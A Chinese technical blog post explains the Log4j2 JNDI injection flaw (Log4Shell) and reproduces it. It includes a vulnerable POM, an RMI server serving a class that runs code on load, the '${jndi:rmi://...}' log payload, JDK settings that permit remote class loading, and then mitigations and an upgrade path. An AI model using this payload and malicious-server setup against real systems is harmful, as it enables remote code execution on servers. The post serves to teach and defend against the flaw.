Log4j2史诗级漏洞导致JNDI注入问题探析

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Log4j2史诗级漏洞导致JNDI注入问题探析

背景

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中,比如在用户登录的时候打印一些异常信息,如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号频繁异地登录。

前不久,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。

据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。受影响应用包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。

因该组件使用极为广泛,利用门槛很低,危害极大,网络安全专家建议所有用户尽快升级到安全版本>=2.15.0。

漏洞细节

srping-boot-strater-log4j2此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

Log4j2官方文档

漏洞明细

JNDI和RMI的关系

JNDI可以远程下载class文件来构建对象

 

漏洞复现

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

代码

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lingyejun</groupId>
    <artifactId>log4j2-safe</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.0</version>
        </dependency>
    </dependencies>
</project>
package com.lingyejun.rmi;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class HackerAttackCode implements ObjectFactory {
    public HackerAttackCode() {
    }
    static {
        System.out.println("黑客正在攻击你的服务器");
    }
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}
package com.lingyejun.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            // new Reference()中的第三个参数表示HackerAttackCode classes 文件的路径, 可以是ftp,http协议,本机直接写null
            Reference reference = new Reference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("aa",referenceWrapper);
            System.out.println("RMI服务端已启动");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
package com.lingyejun;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2SafeMain {
    private static final Logger LOGGER = LogManager.getLogger();
    public static void main(String[] args) {
        String userName = "lingyejun";
        LOGGER.info("user {} log in success", userName);
        userName = "${java:runtime}";
        LOGGER.info("user {} log in success", userName);
        // Java的高版本默认是不会执行远程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。
        /*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/
        userName = "${jndi:rmi://192.168.1.103:1099/aa}";
        LOGGER.info("user {} log in success", userName);
    }
}


编写测试代码时候需注意以下几点

  • 视频中的new Reference(), 中的第三个参数表示EvilObj classes 文件的路径, 可以是ftp,http协议,本机直接写null。
  • 在测试类中由于JDK 版本原因可能会报 The object factory is untrusted 类似错误, 因为Java的高版本默认是不会执行远程类的,只有低于8u121会被rmi注入,低于8u191的版本才会被ldap注入。在Log4jTest类中添加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("java.rmi.server.useCodebaseOnly", "false");
  • 翎野君的jdk版本是1.8.0_144,HackerAttackCode需要实现javax.naming.spi.ObjectFactory接口才能复现。

修复

1. 临时应急缓解措施

(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true

(2)修改配置 log4j2.formatMsgNoLookups=True

(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

2. 修复方案检查所有使用了 Log4j 组件的系统,将log4j组件版本升级至2.15.0以上。

 

总之不要相信客户端的输入信息,永远相信来自用户的输入是危险的。

 

本篇文章如有帮助到您,请给「翎野君」点个赞,感谢您的支持。

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
117 1
|
运维 安全 Java
Log4j2 远程代码执行漏洞——总结
前两天网络有爆料log4j安全漏洞,安全大于天,于是也加入到这个和时间赛跑的临时事件中。对于安全漏洞网上有很多文章,内容都大同小异,不过针对于这件事小编下面的故事一定能让读者有"意外"收获。
|
11月前
|
安全 中间件 应用服务中间件
ctfshow-web4(文件包含&日志注入)
ctfshow-web4(文件包含&日志注入)
250 0
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
102 2
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
360 1
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
安全 网络协议 Java
【紧急】Log4j又发新版2.17.0,只有彻底搞懂漏洞原因,才能以不变应万变,小白也能看懂
经过一周时间的Log4j2 RCE事件的发酵,事情也变也越来越复杂和有趣,就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久,又发声明说 2.15.0 版本也没有完全解决问题,然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了,没想到才过多久又爆雷,Log4j 2.17.0横空出世。
617 0
|
Kubernetes 安全 中间件
Traefik 如何保护应用免受 Log4j2 漏洞的影响
2021 年 12 月 10 日,Apache Log4j2 中的一个被称为 “Log4Shell” 的漏洞被发布(CVE-2021-44228),引入了严重的安全风险。作为 Java 应用程序日志库中的一个核心组件,其广泛用于著名的开源项目以及企业级后端应用程序。在本文中,我们将向您展示 Traefik 如何基于插件系统帮助我们的业务缓解此问题。
150 0
|
JSON 安全 Java
使用goby检测log4j漏洞
使用goby检测log4j漏洞
|
安全 Java fastjson
Log4J 漏洞复现+漏洞靶场
Log4J 漏洞复现+漏洞靶场